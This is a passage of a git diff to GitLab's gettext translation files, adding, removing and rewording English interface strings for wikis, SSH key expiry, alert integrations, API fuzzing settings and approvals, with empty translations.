+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34172,9 +35580,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34187,9 +35592,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34250,9 +35652,15 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
+msgid "Write to \"authorized_keys\" file"
+msgstr ""
+
msgid "Write your release notes or drag your files here…"
msgstr ""
@@ -34361,7 +35769,7 @@ msgstr ""
msgid "You are receiving this message because you are a GitLab administrator for %{url}."
msgstr ""
-msgid "You are signed into GitLab as %{user_link}"
+msgid "You are signed in to GitLab as %{user_link}"
msgstr ""
msgid "You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico."
@@ -34406,6 +35814,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34418,6 +35832,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
+msgstr ""
+
msgid "You can filter by 'days to merge' by clicking on the columns in the chart."
msgstr ""
@@ -34457,6 +35874,9 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
+msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
+msgstr ""
+
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -34517,9 +35937,6 @@ msgstr ""
msgid "You cannot impersonate an internal user"
msgstr ""
-msgid "You cannot make this a shared runner."
-msgstr ""
-
msgid "You cannot play this scheduled pipeline at the moment. Please wait a minute."
msgstr ""
@@ -34589,6 +36006,9 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
+msgid "You don't have any webhooks deliveries"
+msgstr ""
+
msgid "You don't have sufficient permission to perform this action."
msgstr ""
@@ -34670,12 +36090,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34724,9 +36138,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34853,7 +36264,7 @@ msgstr ""
msgid "Your %{strong}%{plan_name}%{strong_close} subscription will expire on %{strong}%{expires_on}%{strong_close}. After that, you will not be able to create issues or merge requests as well as many other features."
msgstr ""
-msgid "Your CI configuration file is invalid."
+msgid "Your CI/CD configuration syntax is invalid. View Lint tab for more details."
msgstr ""
msgid "Your CSV export has started. It will be emailed to %{email} when complete."
@@ -34883,6 +36294,9 @@ msgstr ""
msgid "Your GitLab Ultimate trial will last 30 days after which point you can keep your free GitLab account forever. We just need some additional information to activate your trial."
msgstr ""
+msgid "Your GitLab account has been locked due to an excessive amount of unsuccessful sign in attempts. Your account will automatically unlock in %{duration} or you may click the link below to unlock now."
+msgstr ""
+
msgid "Your GitLab account request has been approved!"
msgstr ""
@@ -34910,12 +36324,24 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
+msgid "Your SSH key is expiring soon."
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgstr ""
+
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34925,9 +36351,6 @@ msgstr ""
msgid "Your U2F device was registered!"
msgstr ""
-msgid "Your Version"
-msgstr ""
-
msgid "Your WebAuthn device did not send a valid JSON response."
msgstr ""
@@ -35036,6 +36459,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35054,6 +36480,9 @@ msgstr ""
msgid "Your new SCIM token"
msgstr ""
+msgid "Your new comment"
+msgstr ""
+
msgid "Your new personal access token has been created."
msgstr ""
@@ -35129,7 +36558,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35233,6 +36662,9 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can only be changed by a group admin."
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
@@ -35701,6 +37133,9 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "general, development"
+msgstr ""
+
msgid "group"
msgstr ""
@@ -35734,6 +37169,12 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
+msgid "https://bamboo.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -36050,19 +37491,16 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork merge requests do not create merge request pipelines which validate a post merge result"
-msgstr ""
-
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|Jump to first unresolved thread"
+msgid "mrWidget|If the last pipeline ran in the fork project, it may be inaccurate. Before merge, we advise running a pipeline in this project."
msgstr ""
-msgid "mrWidget|Learn more about resolving conflicts"
+msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
msgid "mrWidget|Loading deployment statistics"
@@ -36179,9 +37617,6 @@ msgstr ""
msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
-msgstr ""
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
@@ -36194,6 +37629,9 @@ msgstr ""
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
msgstr ""
@@ -36242,15 +37680,15 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
msgid "my-awesome-group"
msgstr ""
+msgid "my-channel"
+msgstr ""
+
msgid "n/a"
msgstr ""
@@ -36447,9 +37885,6 @@ msgstr ""
msgid "revised"
msgstr ""
-msgid "runners"
-msgstr ""
-
msgid "satisfied"
msgstr ""
@@ -36486,6 +37921,9 @@ msgstr ""
msgid "severity|Unknown"
msgstr ""
+msgid "shared"
+msgstr ""
+
msgid "should be an array of %{object_name} objects"
msgstr ""
@@ -36588,9 +38026,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
diff --git a/locale/gl_ES/gitlab.po b/locale/gl_ES/gitlab.po
index b6cce2179f0..45adfe88f4a 100644
--- a/locale/gl_ES/gitlab.po
+++ b/locale/gl_ES/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: gl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:48\n"
+"PO-Revision-Date: 2021-04-02 00:07\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
